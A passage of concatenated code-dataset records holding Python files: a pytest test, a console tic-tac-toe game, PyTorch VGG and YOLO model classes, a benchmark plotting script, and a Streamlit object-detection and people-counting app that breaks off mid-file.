Model.LinearModel.submission_path,\n \"power\": Model.PowerModel.submission_path,\n}\n\n\nMODEL_SELECTION = {\n \"dummy\": Model.DummyModel,\n \"linear\": Model.LinearModel,\n \"power\": Model.PowerModel,\n}\n\ntestdata = [\n (SUBMISSION_PATHS[\"dummy\"], MODEL_SELECTION[\"dummy\"]),\n (SUBMISSION_PATHS[\"linear\"], MODEL_SELECTION[\"linear\"]),\n (SUBMISSION_PATHS[\"power\"], MODEL_SELECTION[\"power\"]),\n]\n\n\n@pytest.mark.parametrize(\n \"submission_path, model_selection\", testdata, ids=[\"dummy\", \"linear\", \"power\"]\n)\ndef test_write_submission(submission_path, model_selection):\n remove_submission(submission_path)\n submission = write_submission(model_selection)\n compare_path_and_none_rows(submission_path, submission)\n","repo_name":"IslasGECI/seleccion_analista_2022_gog","sub_path":"tests/test_dummy_model.py","file_name":"test_dummy_model.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27394713343","text":"from PIL import Image, ImageFont, ImageDraw\nimport random\nfrom dict import numbers\n\ndef create_board():\n image = Image.new(\"RGB\", (300, 300))\n draw = ImageDraw.Draw(image)\n draw.line((0, 100, 300, 100))\n draw.line((0, 200, 300, 200))\n draw.line((100, 300, 100, 0))\n draw.line((200, 300, 200, 0))\n\n fontsize = 20\n font = ImageFont.truetype(\"arial.ttf\", fontsize)\n draw.text((5, 5), '1', font=font)\n draw.text((105, 5), '2', font=font)\n draw.text((205, 5), '3', font=font)\n draw.text((5, 105), '4', font=font)\n draw.text((105, 105), '5', font=font)\n draw.text((205, 105), '6', font=font)\n draw.text((5, 205), '7', font=font)\n draw.text((105, 205), '8', font=font)\n draw.text((205, 205), '9', font=font)\n image.show()\n return image\n\ndef Check_win(list):\n my_set = set(list)\n items = [[1,2,3], [4,5,6], [7,8,9], [1,4,7], [2,5,8], [3,6,9], [1,5,9], [3,5,7]]\n for el in items:\n if (my_set.issuperset(el)):\n return True\n\ndef Game(choice):\n image = create_board()\n draw = ImageDraw.Draw(image)\n a = 1\n turn = 0\n if choice != 1:\n a = -a\n num = [i for i in range(1, 10)]\n score_human = []\n score_robot = []\n\n fontsize = 60\n font = ImageFont.truetype(\"arial.ttf\", fontsize)\n while turn < 9:\n if a == 1:\n x = int(input('В какой квадрат поставим крестик? '))\n if x not in num:\n print('Миша, давай по новой!')\n x = int(input('В какой квадрат поставим крес��ик? '))\n num.remove(x)\n score_human.append(x)\n draw.text((numbers[x]), 'x', font=font)\n image.show()\n\n else:\n print('Теперь сделает ход комьютер')\n x = random.choice(num)\n draw.text((numbers[x]), 'o', font=font)\n image.show()\n num.remove(x)\n score_robot.append(x)\n \n turn += 1\n a = -a\n if Check_win(score_robot):\n print('\\nПластмассовый мир победил!')\n exit()\n if Check_win(score_human):\n print('\\nВы победили!\\nПока еще держим нашу оборону')\n exit()\n","repo_name":"nastya-almighty/python","sub_path":"home assignment/9/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9730591778","text":"from torch import nn\nimport torch\nfrom torch.nn import functional as F\n\nfrom .resnet import CBR,Classify\nfrom .common import Flatten\nfrom .darknet import CBL,SPP\n\n\nclass VGG16BN(nn.Module):\n def __init__(self,in_c=3,num_classes=1000):\n super().__init__()\n self.feature = nn.Sequential(\n CBR(in_c,64,3),\n CBR(64,64,3),\n nn.MaxPool2d(2,2),\n\n CBR(64, 128, 3),\n CBR(128, 128, 3),\n nn.MaxPool2d(2, 2),\n\n CBR(128, 256, 3),\n CBR(256, 256, 3),\n CBR(256, 256, 3),\n nn.MaxPool2d(2, 2),\n\n CBR(256, 512, 3),\n CBR(512, 512, 3),\n CBR(512, 512, 3),\n nn.MaxPool2d(2, 2),\n\n CBR(512, 512, 3),\n CBR(512, 512, 3),\n CBR(512, 512, 3),\n nn.MaxPool2d(2, 2),\n )\n\n self.classifier = nn.Sequential(\n Flatten(),\n nn.Linear(512 * 7 * 7, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, num_classes),\n )\n\n def forward(self,x):\n x = self.feature(x)\n x = self.classifier(x)\n return x\n\nclass VGG16BNV2(nn.Module):\n def __init__(self,in_c=3,num_classes=1000):\n super().__init__()\n\n self.stem = nn.Sequential(\n CBR(in_c, 64, 3),\n CBR(64, 64, 3),\n nn.MaxPool2d(2, 2),\n )\n self.layer1 = nn.Sequential(\n CBR(64, 128, 3),\n CBR(128, 128, 3),\n nn.MaxPool2d(2, 2),\n )\n self.layer2 = nn.Sequential(\n CBR(128, 256, 3),\n CBR(256, 256, 3),\n CBR(256, 256, 3),\n nn.MaxPool2d(2, 2),\n )\n self.layer3 = nn.Sequential(\n CBR(256, 512, 3),\n CBR(512, 512, 3),\n CBR(512, 512, 3),\n nn.MaxPool2d(2, 2),\n )\n self.layer4 = nn.Sequential(\n CBR(512, 512, 3),\n CBR(512, 512, 3),\n CBR(512, 512, 3),\n nn.MaxPool2d(2, 2),\n )\n\n self.classifier = Classify(512,num_classes)\n\n def forward(self,x):\n x = self.stem(x)\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n x = self.classifier(x)\n return x\n\n\nclass VGG16BNV3(nn.Module):\n def __init__(self,in_c=3,num_classes=1000):\n super().__init__()\n\n self.stem = nn.Sequential(\n CBR(in_c, 64, 3),\n CBR(64, 64, 3,2),\n )\n self.layer1 = nn.Sequential(\n CBR(64, 128, 3,2),\n CBR(128, 128, 3,groups=64),\n )\n self.layer2 = nn.Sequential(\n CBR(128, 256, 3,2),\n CBR(256, 256, 3,groups=128),\n CBR(256, 256, 3,groups=128),\n )\n self.layer3 = nn.Sequential(\n CBR(256, 512, 3,2),\n CBR(512, 512, 3,groups=256),\n CBR(512, 512, 3,groups=256),\n )\n self.layer4 = nn.Sequential(\n CBR(512, 512, 3,2),\n CBR(512, 512, 3,groups=256),\n CBR(512, 512, 3,groups=256),\n )\n\n self.classifier = Classify(512,num_classes)\n\n def forward(self,x):\n x = self.stem(x)\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n x = self.classifier(x)\n return x\n\nclass Yolov4One(nn.Module):\n def __init__(self,num_classes=21,num_anchor=3):\n super().__init__()\n _m = VGG16BNV3()\n self.backbone=nn.Sequential(\n *[_m.stem,_m.layer1,_m.layer2,_m.layer3,_m.layer4]\n )\n\n self.layer1 = nn.Sequential(\n CBL(512,256,1),\n CBL(256,512,3),\n CBL(512,256,1),\n SPP(256,1024),\n CBL(1024,256,1),\n CBL(256,512,3),\n CBL(512,256,1),\n )\n\n self.layer11 = nn.Sequential(\n CBL(256, 128, 1),\n nn.Upsample(scale_factor=2),\n\n CBL(512, 256, 1),\n\n CBL(384, 128, 1),\n CBL(128, 256, 3),\n CBL(256, 128, 1),\n CBL(128, 256, 3),\n CBL(256, 128, 1),\n )\n\n self.layer12 = nn.Sequential(\n CBL(128, 64, 1),\n nn.Upsample(scale_factor=2),\n\n CBL(256, 128, 1),\n\n CBL(192, 64, 1),\n CBL(64, 128, 3),\n CBL(128, 64, 1),\n CBL(64, 128, 3),\n CBL(128, 64, 1),\n )\n\n self.layer13 = nn.Sequential(\n CBL(64, 128, 3),\n nn.Conv2d(128, num_anchor * (num_classes + 5), 1)\n )\n\n\n def forward(self,x):\n x = self.backbone[:2](x)\n x3 = self.backbone[2](x)\n x4 = self.backbone[3](x3)\n x5 = self.backbone[4](x4)\n\n _x5 = self.layer1(x5)\n\n x4 = torch.cat((self.layer11[:2](_x5),self.layer11[2](x4)),1)\n _x4 = self.layer11[3:](x4)\n\n x3 = torch.cat((self.layer12[:2](_x4), self.layer12[2](x3)), 1)\n _x3 = self.layer12[3:](x3)\n\n x3 = self.layer13(_x3)\n\n return x3\n\nif __name__ == \"__main__\":\n x = torch.rand([2,3,224,224])\n m = VGG16BNV2()\n # _initParmas(m.modules())\n print(m(x).shape)\n torch.save(m.state_dict(),'VGG16BNV2.pth')","repo_name":"wucng/toolsmall","sub_path":"toolsmall/networkv2/example/vgg.py","file_name":"vgg.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"17260571590","text":"import json\n\nimport plots_utils\n\n\ndef load_data():\n data = []\n for fname in [\n \"results_variants_1D.json\",\n \"results_variants_2D.json\",\n \"results_variants_3D.json\",\n ]:\n with open(fname, \"r\") as src:\n data.append(json.load(src))\n return data\n\n\ndef transpose_data(data, dim, mode=\"seq\"):\n # exec times per dataset per backend\n backend_ds_res = {}\n\n n_simplices = plots_utils.compute_n_simplices(dim)\n\n for ds, res in data.items():\n dsname = \"_\".join(ds.split(\"_\")[:-3])\n for backend, perfs in res.items():\n if \"Vertices\" in backend:\n # print(dsname, n_pairs[dsname])\n continue\n\n if mode in perfs:\n val = perfs[mode][\"pers\"]\n elif \"timeout\" in perfs:\n val = perfs[\"timeout\"]\n else:\n continue\n backend_ds_res.setdefault(backend, {}).update({dsname: val})\n\n return backend_ds_res\n\n\ndef generate_plot(data, backends, dim, mode=\"seq\"):\n plot = [\n r\"\\nextgroupplot[legend to name=grouplegend, ymode=log, \"\n + (\"ylabel=Computation speed (simplices/second),]\" if dim == 0 else \"]\")\n ]\n\n n_pairs_sorted = plots_utils.sort_datasets_by_n_pairs(data, mode)\n backend_ds_res = transpose_data(data, dim, mode)\n\n for backend, legend in backends.items():\n try:\n coords = [r\"\\addplot[\" + legend + \"] coordinates {\"]\n res = backend_ds_res[backend]\n for dsname, n_pairs in n_pairs_sorted.items():\n val = res[dsname]\n coords.append(f\"({n_pairs}, {val})\")\n coords.append(\"};\")\n plot.append(\" \".join(coords))\n\n except KeyError:\n plot.append(r\"\\addlegendimage{\" + legend + \"}\")\n\n plot.append(r\"\\addlegendentry{\" + backend.replace(\"_\", r\"\\_\") + \"}\")\n\n return plot\n\n\ndef sort_backends(data, cpx=\"expl\"):\n backends = {\n \"DiscreteMorseSandwich\": None,\n \"PairCells\": None,\n \"PairCriticalSimplices\": None,\n \"PairCriticalSimplices_BCaching\": None,\n \"PairCriticalSimplices_Sandwiching\": None,\n }\n for d in data:\n for ds, res in d.items():\n if cpx not in ds:\n continue\n for backend in res.keys():\n if backend == \"#Vertices\":\n continue\n backends[backend] = None\n return dict(\n zip(backends.keys(), [\"curve\" + str(i + 1) for i in range(len(backends))])\n )\n\n\ndef main():\n data = load_data()\n cpx = \"expl\"\n mode = \"para\"\n backends = sort_backends(data, cpx)\n\n res = []\n for i in range(3):\n res.extend(\n generate_plot(\n {k: v for k, v in data[i].items() if cpx in k}, backends, i, mode\n )\n )\n\n legend_pos = r\"\"\"\\node at (plots c3r1.north east)[inner sep=0pt, xshift=-2ex, yshift=2ex]\n {\\pgfplotslegendfromname{grouplegend}};\"\"\"\n\n plots_utils.output_tex_file(\n res,\n f\"plot_variants_{cpx}_{mode}\",\n False,\n False,\n legend_pos,\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"pierre-guillou/pdiags_bench","sub_path":"plots/plot_variants.py","file_name":"plot_variants.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"25472697736","text":"# import the necessary packages\n\nimport argparse\nimport logging\nimport logging.handlers\nimport queue\nimport sys\nimport threading\nimport time\nimport urllib.request\n# import time\n# import threading\nfrom multiprocessing import Process\nfrom pathlib import Path\nfrom typing import List, NamedTuple\n\nimport cv2\nimport cvlib as cv\nimport dlib\nimport imutils\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport streamlit as st\nfrom aiortc.contrib.media import MediaPlayer\nfrom cvlib.object_detection import draw_bbox\nfrom imutils.video import FPS\nfrom pyimagesearch.centroidtracker import CentroidTracker\nfrom pyimagesearch.trackableobject import TrackableObject\nfrom streamlit_webrtc import (ClientSettings, VideoTransformerBase, WebRtcMode,\n webrtc_streamer)\n\ntry:\n from typing import Literal\nexcept ImportError:\n from typing_extensions import Literal # type: ignore\n\nimport av\n\n# col1, col2 = st.beta_columns([1,2])\n# with col1:\n# st.sidebar.image('logo.png', width=100)\n# with col2:\n# st.sidebar.write('7P1')\n# st.sidebar.markdown('

    7P1

    ', unsafe_allow_html=True)\nst.sidebar.title('ICU-7P1')\nst.sidebar.image('logo.png', width=80)\n# st.sidebar.markdown('

    Centered text

    ', unsafe_allow_html=True)\nhtml = \"\"\"\n \n\"\"\"\nst.markdown(html, unsafe_allow_html=True)\ni = st.sidebar.button(\"Introduction\")\nadd_selectbox = st.sidebar.selectbox(\n \n\n 'What to do?',\n (''\n st.title(\"Psifiólexi (7P1)\")\n st.header(\"About Our Work\")\n st.video(\"ICU_final.mp4\")\n col3, col4 = st.beta_columns(2)\n col3.subheader(\"Computer Vision\")\n col3.markdown('Here, the input image is converted into black and white. This makes it super easy for computers to make a prediction on what the image contains. It basically compares the white pixels to the black pixels, to form a simplified version of the image')\n col4.subheader(\"Visual\")\n col4.image('CV.png', use_column_width=True)\n \n \n \n######################################################\n\nHERE = Path(__file__).parent\n\nlogger = logging.getLogger(__name__)\n\n\ndef download_file(url, download_to: Path, expected_size=None):\n # Don't download the file twice.\n # (If possible, verify the download using the file length.)\n if download_to.exists():\n if expected_size:\n if download_to.stat().st_size == expected_size:\n return\n else:\n st.info(f\"{url} is already downloaded.\")\n if not st.button(\"Download again?\"):\n return\n\n download_to.parent.mkdir(parents=True, exist_ok=True)\n\n # These are handles to two visual elements to animate.\n weights_warning, progress_bar = None, None\n try:\n weights_warning = st.warning(\"Downloading %s...\" % url)\n progress_bar = st.progress(0)\n with open(download_to, \"wb\") as output_file:\n with urllib.request.urlopen(url) as response:\n length = int(response.info()[\"Content-Length\"])\n counter = 0.0\n MEGABYTES = 2.0 ** 20.0\n while True:\n data = response.read(8192)\n if not data:\n break\n counter += len(data)\n output_file.write(data)\n\n # We perform animation by overwriting the elements.\n weights_warning.warning(\n \"Downloading %s... (%6.2f/%6.2f MB)\"\n % (url, counter / MEGABYTES, length / MEGABYTES)\n )\n progress_bar.progress(min(counter / length, 1.0))\n # Finally, we remove these visual elements by calling .empty().\n finally:\n if weights_warning is not None:\n weights_warning.empty()\n if progress_bar is not None:\n progress_bar.empty()\n\n\nWEBRTC_CLIENT_SETTINGS = ClientSettings(\n rtc_configuration={\"iceServers\": [{\"urls\": [\"stun:stun.l.google.com:19302\"]}]},\n media_stream_constraints={\"video\": True, \"audio\": True},\n)\n\nimport os\n\nDEBUG = os.environ.get(\"DEBUG\", \"false\").lower() not in [\"false\", \"no\", \"0\"]\n\nlogging.basicConfig(\n format=\"[%(asctime)s] %(levelname)7s from %(name)s in %(pathname)s:%(lineno)d: \"\n \"%(message)s\",\n force=True,\n)\n\nlogger.setLevel(level=logging.DEBUG if DEBUG else logging.INFO)\n\nst_webrtc_logger = logging.getLogger(\"streamlit_webrtc\")\nst_webrtc_logger.setLevel(logging.DEBUG)\n\nfsevents_logger = logging.getLogger(\"fsevents\")\nfsevents_logger.setLevel(logging.WARNING)\n\n\n#####################################################\n\ndef trackbar():\n\th_min = st.slider('Hue min',0,179,0)\n\th_max = st.slider('Hue max',0,179,179)\n\ts_min = st.slider('Sat min',0,255,0)\n\ts_max = st.slider('Sat max',0,255,255)\n\tv_min = st.slider('Val min',0,255,156)\n\tv_max = st.slider('Val max',0,255,255)\n\treturn h_min,h_max,s_min,s_max,v_min,v_max \n\n###############################\n\n# multi image stacker\ndef stackImages(scale,imgArray):\n rows = len(imgArray)\n cols = len(imgArray[0])\n rowsAvailable = isinstance(imgArray[0], list)\n width = imgArray[0][0].shape[1]\n height = imgArray[0][0].shape[0]\n if rowsAvailable:\n for x in range ( 0, rows):\n for y in range(0, cols):\n if imgArray[x][y].shape[:2] == imgArray[0][0].shape [:2]:\n imgArray[x][y] = cv2.resize(imgArray[x][y], (0, 0), None, scale, scale)\n else:\n imgArray[x][y] = cv2.resize(imgArray[x][y], (imgArray[0][0].shape[1], imgArray[0][0].shape[0]), None, scale, scale)\n if len(imgArray[x][y].shape) == 2: imgArray[x][y]= cv2.cvtColor( imgArray[x][y], cv2.COLOR_GRAY2BGR)\n imageBlank = np.zeros((height, width, 3), np.uint8)\n hor = [imageBlank]*rows\n hor_con = [imageBlank]*rows\n for x in range(0, rows):\n hor[x] = np.hstack(imgArray[x])\n ver = np.vstack(hor)\n else:\n for x in range(0, rows):\n if imgArray[x].shape[:2] == imgArray[0].shape[:2]:\n imgArray[x] = cv2.resize(imgArray[x], (0, 0), None, scale, scale)\n else:\n imgArray[x] = cv2.resize(imgArray[x], (imgArray[0].shape[1], imgArray[0].shape[0]), None,scale, scale)\n if len(imgArray[x].shape) == 2: imgArray[x] = cv2.cvtColor(imgArray[x], cv2.COLOR_GRAY2BGR)\n hor= np.hstack(imgArray)\n ver = hor\n return ver\n######################################################################################################################################################\n\n\nobject_detection_page = \"Real time object detection \"\n\n\n\nlogger.debug(\"=== Alive threads ===\")\nfor thread in threading.enumerate():\n if thread.is_alive():\n logger.debug(f\" {thread.name} ({thread.ident})\")\n\n ##########################################################################################\n########################################################\nif add_selectbox == 'Person Detection(Image)':\n st.header('Object Detection on Image')\n selected_metrics = st.selectbox(\n label=\"Choose Image...\", options=['SuperMarket-image-1','SuperMarket-image-2']\n )\n # im = cv2.imread('sp.jpg')\n if selected_metrics == 'SuperMarket-image-1':\n im = cv2.imread('sp.jpg')\n if selected_metrics == 'SuperMarket-image-2':\n im = cv2.imread('sp2.jpg')\n\n col3, col4 = st.beta_columns(2)\n col3.subheader(\"Original\")\n col3.image(im, use_column_width=True)\n bbox, label, conf = cv.detect_common_objects(im)\n output_image = draw_bbox(im, bbox, label, conf)\n col4.subheader(\"Output\")\n col4.image(output_image, use_column_width=True)\n\n st.write(\"Total people count : \",str(label.count('person')))\n # print('Number of cars in the image is '+ str(label.count('person')))\n cv2.destroyAllWindows()\n\n\n\n\n\n\n#############################################################################\n\n# construct the argument parse and parse the arguments\nif add_selectbox == 'Video Frame Count':\n st.header('Caluclate frame rate and convert to grayscale')\n # ap = argparse.ArgumentParser()\n # ap.add_argument(\"-v\", \"--video\", required=True,\n # \thelp=\"path to input video file\")\n # args = vars(ap.parse_args())\n # open a pointer to the video stream and start the FPS timer\n col1, col2 = st.beta_columns(2)\n col1.subheader(\"Original video\")\n image_placeholder_1 = col1.empty()\n stream = cv2.VideoCapture(\"CCTV.mp4\")\n # col1.video(\"CCTV.mp4\")\n if True:\n \n video = cv2.VideoCapture('CCTV.mp4')\n \n while True:\n success, image = video.read()\n if not success:\n break\n image_placeholder_1.image(image, channels=\"BGR\")\n video.release()\n cv2.destroyAllWindows()\n fps = FPS().start()\n col2.subheader(\"Video processing...\")\n frame_st = col2.empty()\n # loop over frames from the video file stream\n while True:\n # grab the frame from the threaded video file stream\n (grabbed, frame) = stream.read()\n # if the frame was not grabbed, then we have reached the end\n # of the stream\n if not grabbed:\n break\n # resize the frame and convert it to grayscale (while still\n # retaining 3 channels)\n frame = imutils.resize(frame, width=450)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n frame = np.dstack([frame, frame, frame])\n # display a piece of text to the frame (so we can benchmark\n # fairly against the fast method)\n cv2.putText(frame, \"Processed Video\", (10, 30),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 255, 0), 2)\t\n # show the frame and update the FPS counter\n # cv2.imshow(\"Frame\", frame)\n frame_st.image(frame)\n cv2.waitKey(1)\n fps.update()\n\n # stop the timer and display FPS information\n fps.stop()\n # print(\"[INFO] elasped time: {:.2f}\".format(fps.elapsed()))\n # print(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n # do a bit of cleanup\n st.write(\"[INFO] elasped time: {:.2f}\".format(fps.elapsed()))\n st.write(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n stream.release()\n\n cv2.destroyAllWindows()\n\n##########################################################\n\nif add_selectbox == 'Real Time Simulation':\n class VideoTransformer(VideoTransformerBase):\n def __init__(self):\n self.threshold1 = 100\n self.threshold2 = 200\n\n def transform(self, frame):\n img = frame.to_ndarray(format=\"bgr24\")\n\n img = cv2.cvtColor(\n cv2.Canny(img, self.threshold1, self.threshold2), cv2.COLOR_GRAY2BGR\n )\n\n return img\n\n\n ctx = webrtc_streamer(key=\"example\", video_transformer_factory=VideoTransformer)\n\n if ctx.video_transformer:\n ctx.video_transformer.threshold1 = st.slider(\"Threshold1\", 0, 1000, 100)\n ctx.video_transformer.threshold2 = st.slider(\"Threshold2\", 0, 1000, 200)\n\n\n#################################################################################################\n\nif add_selectbox == 'Real Time Object Detection':\n \"\"\"Object detection demo with MobileNet SSD.\n \"\"\"\n MODEL_URL = \"https://github.com/robmarkcole/object-detection-app/raw/master/model/MobileNetSSD_deploy.caffemodel\" # noqa: E501\n MODEL_LOCAL_PATH = HERE / \"./models/MobileNetSSD_deploy.caffemodel\"\n PROTOTXT_URL = \"https://github.com/robmarkcole/object-detection-app/raw/master/model/MobileNetSSD_deploy.prototxt.txt\" # noqa: E501\n PROTOTXT_LOCAL_PATH = HERE / \"./models/MobileNetSSD_deploy.prototxt.txt\"\n\n CLASSES = [\n \"background\",\n \"aeroplane\",\n \"bicycle\",\n \"bird\",\n \"boat\",\n \"bottle\",\n \"bus\",\n \"car\",\n \"cat\",\n \"chair\",\n \"cow\",\n \"diningtable\",\n \"dog\",\n \"horse\",\n \"motorbike\",\n \"person\",\n \"pottedplant\",\n \"sheep\",\n \"sofa\",\n \"train\",\n \"tvmonitor\",\n ]\n COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))\n\n download_file(MODEL_URL, MODEL_LOCAL_PATH, expected_size=23147564)\n download_file(PROTOTXT_URL, PROTOTXT_LOCAL_PATH, expected_size=29353)\n\n DEFAULT_CONFIDENCE_THRESHOLD = 0.5\n\n class Detection(NamedTuple):\n name: str\n prob: float\n\n class MobileNetSSDVideoTransformer(VideoTransformerBase):\n confidence_threshold: float\n result_queue: \"queue.Queue[List[Detection]]\"\n\n def __init__(self) -> None:\n self._net = cv2.dnn.readNetFromCaffe(\n str(PROTOTXT_LOCAL_PATH), str(MODEL_LOCAL_PATH)\n )\n self.confidence_threshold = DEFAULT_CONFIDENCE_THRESHOLD\n self.result_queue = queue.Queue()\n\n def _annotate_image(self, image, detections):\n # loop over the detections\n (h, w) = image.shape[:2]\n result: List[Detection] = []\n for i in np.arange(0, detections.shape[2]):\n confidence = detections[0, 0, i, 2]\n\n if confidence > self.confidence_threshold:\n # extract the index of the class label from the `detections`,\n # then compute the (x, y)-coordinates of the bounding box for\n # the object\n idx = int(detections[0, 0, i, 1])\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n\n name = CLASSES[idx]\n result.append(Detection(name=name, prob=float(confidence)))\n\n # display the prediction\n label = f\"{name}: {round(confidence * 100, 2)}%\"\n cv2.rectangle(image, (startX, startY), (endX, endY), COLORS[idx], 2)\n y = startY - 15 if startY - 15 > 15 else startY + 15\n cv2.putText(\n image,\n label,\n (startX, y),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.5,\n COLORS[idx],\n 2,\n )\n return image, result\n\n def transform(self, frame: av.VideoFrame) -> np.ndarray:\n image = frame.to_ndarray(format=\"bgr24\")\n blob = cv2.dnn.blobFromImage(\n cv2.resize(image, (300, 300)), 0.007843, (300, 300), 127.5\n )\n self._net.setInput(blob)\n detections = self._net.forward()\n annotated_image, result = self._annotate_image(image, detections)\n\n # NOTE: This `transform` method is called in another thread,\n # so it must be thread-safe.\n self.result_queue.put(result)\n\n return annotated_image\n\n webrtc_ctx = webrtc_streamer(\n key=\"object-detection\",\n mode=WebRtcMode.SENDRECV,\n client_settings=WEBRTC_CLIENT_SETTINGS,\n video_transformer_factory=MobileNetSSDVideoTransformer,\n async_transform=True,\n )\n\n # confidence_threshold = st.slider(\n # \"Confidence threshold\", 0.0, 1.0, DEFAULT_CONFIDENCE_THRESHOLD, 0.05\n # )\n # if webrtc_ctx.video_transformer:\n # webrtc_ctx.video_transformer.confidence_threshold = confidence_threshold\n\n if st.checkbox(\"Show the detected labels\", value=True):\n if webrtc_ctx.state.playing:\n labels_placeholder = st.empty()\n # NOTE: The video transformation with object detection and\n # this loop displaying the result labels are running\n # in different threads asynchronously.\n # Then the rendered video frames and the labels displayed here\n # are not strictly synchronized.\n while True:\n if webrtc_ctx.video_transformer:\n try:\n result = webrtc_ctx.video_transformer.result_queue.get(\n timeout=1.0\n )\n except queue.Empty:\n result = None\n labels_placeholder.table(result)\n else:\n break\n\n \n\n\nif add_selectbox == 'Customer Count':\n # construct the argument parse and parse the arguments\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-p\", \"--prototxt\", default='mobilenet_ssd/MobileNetSSD_deploy.prototxt',\n help=\"path to Caffe 'deploy' prototxt file\")\n ap.add_argument(\"-m\", \"--model\", default='mobilenet_ssd/MobileNetSSD_deploy.caffemodel',\n help=\"path to Caffe pre-trained model\")\n ap.add_argument(\"-i\", \"--input\", type=str,default = 'videos/example_01.mp4',\n help=\"path to optional input video file\")\n ap.add_argument(\"-o\", \"--output\", type=str, default = 'output/output_01.avi',\n help=\"path to optional output video file\")\n ap.add_argument(\"-c\", \"--confidence\", type=float, default=0.4,\n help=\"minimum probability to filter weak detections\")\n ap.add_argument(\"-s\", \"--skip-frames\", type=int, default=30,\n help=\"# of skip frames between detections\")\n args = vars(ap.parse_args())\n\n # MODEL_URL = \"https://github.com/robmarkcole/object-detection-app/raw/master/model/MobileNetSSD_deploy.caffemodel\" # noqa: E501\n MODEL_LOCAL_PATH = \"./models/MobileNetSSD_deploy.caffemodel\"\n # PROTOTXT_URL = \"https://github.com/robmarkcole/object-detection-app/raw/master/model/MobileNetSSD_deploy.prototxt.txt\" # noqa: E501\n PROTOTXT_LOCAL_PATH =\"./models/MobileNetSSD_deploy.prototxt.txt\"\n\n # initialize the list of class labels MobileNet SSD was trained to\n # detect\n CLASSES = [\"background\", \"aeroplane\", \"bicycle\", \"bird\", \"boat\",\n \"bottle\", \"bus\", \"car\", \"cat\", \"chair\", \"cow\", \"diningtable\",\n \"dog\", \"horse\", \"motorbike\", \"person\", \"pottedplant\", \"sheep\",\n \"sofa\", \"train\", \"tvmonitor\"]\n\n # load our serialized model from disk\n print(\"[INFO] loading model...\")\n net = cv2.dnn.readNetFromCaffe(str(PROTOTXT_LOCAL_PATH), str(MODEL_LOCAL_PATH))\n\n # if a video path was not supplied, grab a reference to the webcam\n if not args.get(\"input\", False):\n print(\"[INFO] starting video stream...\")\n vs = VideoStream(src=0).start()\n time.sleep(2.0)\n\n # otherwise, grab a reference to the video file\n else:\n print(\"[INFO] opening video file...\")\n vs = cv2.VideoCapture(args[\"input\"])\n\n # initialize the video writer (we'll instantiate later if need be)\n writer = None\n\n # initialize the frame dimensions (we'll set them as soon as we read\n # the first frame from the video)\n W = None\n H = None\n\n # instantiate our centroid tracker, then initialize a list to store\n # each of our dlib correlation trackers, followed by a dictionary to\n # map each unique object ID to a TrackableObject\n ct = CentroidTracker(maxDisappeared=40, maxDistance=50)\n trackers = []\n trackableObjects = {}\n\n # initialize the total number of frames processed thus far, along\n # with the total number of objects that have moved either up or down\n totalFrames = 0\n totalDown = 0\n totalUp = 0\n\n # start the frames per second throughput estimator\n fps = FPS().start()\n st.title(\"Real Time Object Tracking\")\n st.subheader(\"Counting the no. of person\")\n frame_st = st.empty()\n # loop over frames from the video stream\n while True:\n # grab the next frame and handle if we are reading from either\n # VideoCapture or VideoStream\n frame = vs.read()\n frame = frame[1] if args.get(\"input\", False) else frame\n\n # if we are viewing a video and we did not grab a frame then we\n # have reached the end of the video\n if args[\"input\"] is not None and frame is None:\n break\n\n \n # resize the frame to have a maximum width of 500 pixels (the\n # less data we have, the faster we can process it), then convert\n # the frame from BGR to RGB for dlib\n frame = imutils.resize(frame, width=500)\n rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\n # if the frame dimensions are empty, set them\n if W is None or H is None:\n (H, W) = frame.shape[:2]\n\n # if we are supposed to be writing a video to disk, initialize\n # the writer\n if args[\"output\"] is not None and writer is None:\n fourcc = cv2.VideoWriter_fourcc(*\"MJPG\")\n writer = cv2.VideoWriter(args[\"output\"], fourcc, 30,\n (W, H), True)\n\n # initialize the current status along with our list of bounding\n # box rectangles returned by either (1) our object detector or\n # (2) the correlation trackers\n status = \"Waiting\"\n rects = []\n\n # check to see if we should run a more computationally expensive\n # object detection method to aid our tracker\n if totalFrames % args[\"skip_frames\"] == 0:\n # set the status and initialize our new set of object trackers\n status = \"Detecting\"\n trackers = []\n\n # convert the frame to a blob and pass the blob through the\n # network and obtain the detections\n blob = cv2.dnn.blobFromImage(frame, 0.007843, (W, H), 127.5)\n net.setInput(blob)\n detections = net.forward()\n\n # loop over the detections\n for i in np.arange(0, detections.shape[2]):\n # extract the confidence (i.e., probability) associated\n # with the prediction\n confidence = detections[0, 0, i, 2]\n\n # filter out weak detections by requiring a minimum\n # confidence\n if confidence > args[\"confidence\"]:\n # extract the index of the class label from the\n # detections list\n idx = int(detections[0, 0, i, 1])\n\n # if the class label is not a person, ignore it\n if CLASSES[idx] != \"person\":\n continue\n\n # compute the (x, y)-coordinates of the bounding box\n # for the object\n box = detections[0, 0, i, 3:7] * np.array([W, H, W, H])\n (startX, startY, endX, endY) = box.astype(\"int\")\n\n # construct a dlib rectangle object from the 